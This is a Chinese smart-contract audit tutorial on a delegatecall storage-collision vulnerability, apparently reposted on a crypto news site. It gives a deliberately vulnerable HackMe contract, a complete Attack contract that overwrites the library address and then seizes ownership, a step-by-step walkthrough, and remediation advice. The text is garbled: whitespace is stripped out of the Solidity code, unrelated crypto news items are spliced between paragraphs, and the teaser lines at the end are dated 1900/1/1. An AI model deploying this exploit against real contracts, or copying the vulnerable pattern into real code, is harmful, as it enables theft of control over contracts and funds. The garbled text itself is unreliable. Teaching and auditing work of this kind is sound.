上篇文章中我们了解了什么是delegatecall函数以及一个基础的漏洞,这篇文章的目的是加深一下大家对delegatecall的印象并带大家一起去玩点刺激的,拿下一个进阶版的漏洞合约。
这里就不再重复之前的基础知识了,不了解或者遗忘的可以再看看上一篇文章:《智能合约安全审计入门篇——delegatecall(1)》。
漏洞示例
contractLib{??uintpublicsomeNumber;??functiondoSomething(uint_num)public{????someNumber=_num;??}}contractHackMe{??addresspubliclib;??addresspublicowner;??uintpublicsomeNumber;??constructor(address_lib){????lib=_lib;????owner=msg.sender;??}??functiondoSomething(uint_num)public{????lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)",_num));??}}
数据:持有超过100枚比特币的地址创三个月新低:金色财经报道,Glassnode数据显示,持有超过100枚比特币的地址为15962个,创3个月新低。[2023/4/8 13:51:30]
漏洞分析
这次的攻击目标依然是获得HackMe合约中的?owner?权限,我们可以看到两个合约中除了HackMe合约中的构造函数可以修改合约的?owner?其他地方并没有修改?owner?的函数。我们要如何完成攻击呢?这里需要一点小技巧,大家可以思考一下,刚好也可以验证一下自己对于之前知识的掌握程度以及自己的思维是否活跃。
是否有想法呢?没有想法也没关系,我们一起来看攻击是如何完成的:
攻击合约
//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractAttack{??//MakesurethestoragelayoutisthesameasHackMe??//Thiswillallowustocorrectlyupdatethestatevariables??addresspubliclib;??addresspublicowner;??uintpublicsomeNumber;??HackMepublichackMe;??constructor(HackMe_hackMe){????hackMe=HackMe(_hackMe);??}??functionattack()public{????//overrideaddressoflib????hackMe.doSomething(uint(uint160(address(this))));????//passanynumberasinput,thefunctiondoSomething()belowwill????//becalled????hackMe.doSomething(1);??}??//functionsignaturemustmatchHackMe.doSomething()??functiondoSomething(uint_num)public{????owner=msg.sender;??}}
马斯克:推特长篇推文“几乎准备就绪”:金色财经报道,今日,社交平台推特公司拥有者、特斯拉CEO马斯克在推特表示,推特的长篇推文功能“几乎准备就绪”。目前推特的单篇推文字数限制为280字以内。(鞭牛士)[2022/12/10 21:36:22]
我们先看攻击流程:
1.Alice部署Lib合约;
2.Alice部署HackMe合约并在构造函数中传入Lib合约的地址;
3.攻击者Eve部署Attack合约并在构造函数中传入HackMe合约的地址;
4.攻击者调用Attack.attack()函数将HackMe合约中的owner变为自己。
咋回事儿呢?其实这个攻击方式就是很巧妙的运用了delegatecall这个函数修改storage类型变量时的特征:delegatecall函数的执行环境是调用者的环境并且对于storage类型变量的修改是根据被调用合约变量存储的插槽位置来修改的。
安全团队:SKG代币为Rug Pull,价格下跌超过80%:7月26日消息,据CertiK监测,SKG代币项目为Rug Pull,价格下跌超过80%。超过10万枚SKG被出售,资产利润超过7万美元。[2022/7/26 2:37:56]
1.Attack.attack()函数先将自己的地址转换为uint256类型第一次调用HackMe.doSomething()函数;
2.HackMe.doSomething()函数使用delegatecall函数带着传入的Attack合约的地址调用了Lib.doSomething()函数;
3.可以看到Lib.doSomething()函数将合约中存储位置为slot0的参数改为传入的值,这样当HackMe合约使用delegatecall调用Lib.doSomething()函数时也将改变自己在slot0位置存储的变量的值,也就是将lib参数改为我们传入的Attack合约的地址。此时之前在HackMe.lib参数中存储的Lib合约的地址就被修改成我们传入的Attack合约的地址了;
Solana发布主网v1.9.22版本:5月19日消息,据GitHub显示,Solana已发布主网v1.9.22版本,这是一个在Mainnet Beta上使用的稳定版本,主要更新包括:修复BankingStage数据包问题、仅允许在投票模式下忽略传入的数据包、将默认批量大小降低到64并添加2个banking线程。[2022/5/20 3:29:03]
4.Attack.attack()函数再次调用HackMe.doSomething()函数,由于在上一步我们已经将HackMe.lib变量修改为Attack合约的地址了,这时HackMe.doSomething()函数将不再调用之前的Lib合约而是用delegatecall去调用Attack.doSomething()函数。此时我们再来观察Attack合约的写法,发现其变量的存储位置故意和HackMe合约保持一致,并且不难发现Attack.doSomething()函数的内容也被攻击者写为owner=msg.sender,这个操作修改了合约中存储位置为slot1的变量。所以HackMe合约使用delegatecall调用Attack.doSomething()函数就会将合约中存储位置为slot1的变量owner修改为msg.sender也就是Eve的地址,至此攻击者完成了他的攻击。
永续合约协议Drift Protocol公布结算和赎回计划:5月17日消息,Solana 生态永续合约协议 Drift Protocol 公布结算和赎回计划,计划在协议重新上线之前,将此前所有未平仓头寸均按照 UTC 时间 5 月 12 日 19:37(交易暂停时间)进行结算,结算方法根据用户的账户余额和未平仓头寸上未实现损益的处理情况,确定用户可以赎回的抵押品总额。
注,5 月 12 日受 LUNA 价格剧烈波动影响,Drift 用户能够从抵押品库和金库中提取比他们有权获得的更多的抵押品,从而造成 1040 万美元的损失,随即协议被中断以避免进一步损失。[2022/5/17 3:21:36]
修复建议
作为开发者
1.?在使用delegatecall时应注意被调用合约的地址不能是可控的;
2.?在较为复杂的合约环境下需要注意变量的声明顺序以及存储位置。因为使用delegatecall进行外部调用时会根据被调用合约的数据结构来修改本合约相应slot中存储的数据,当数据结构发生变化时这可能会造成非预期的变量覆盖。
作为审计者
1.在审计过程中遇到合约中有使用delegatecall时需要注意被调用的合约地址是否可控;
2.当被调用合约中的函数存在修改storage变量的情况时需要注意变量存储插槽的位置,避免由于数据结构不一致而导致本合约中存储的storage变量被错误的覆盖。
来源:金色财经
最近sol挺火的,但这次不是因为sol网络上的宕机,而是Solana生态借贷协议Solend发起的治理提案SLND1,这个提案很有意思,大概就是为了防止自己被清算,而去短时间内去掌控鲸鱼的钱包.
1900/1/1 0:00:00Web3正在整个非洲大陆蔓延。新一波初创公司、企业家和开发人员正在推动非洲Web3创新的下一阶段。在全球范围内,新的web3经济正在带来无数机遇,对非洲大陆产生巨大影响.
1900/1/1 0:00:006月18日,2022年度斯贝瑞颁奖典礼如期举行,DAO组织飞鱼社区一举拿下了“2022年度资本金融业最具成长力品牌”和“2022年度最具投资价值区块链品牌”两个奖项.
1900/1/1 0:00:00最近,关于知名借贷平台Celsius资不抵债的传闻甚嚣尘上,Celsius及其他陷入危机的大机构抛售资产筹措资金引发了stETH价格的脱钩.
1900/1/1 0:00:00??据官网透露:“近日,以太基金会联合发行的ETGC以太金币进入测试阶段,预计在月底将开启测试挖矿”。这一举动意味ETGC即将问世,并快速的终结ETH1.0时代.
1900/1/1 0:00:002022年6月7日,美国两位参议员联手提出一项针对加密领域的提出负责任金融创新法案,法案涉及到加密货币和加密资产的运行,以及CFTC和SEC管辖权,稳定币监管,银行业务,数字资产的税收处理等.
1900/1/1 0:00:00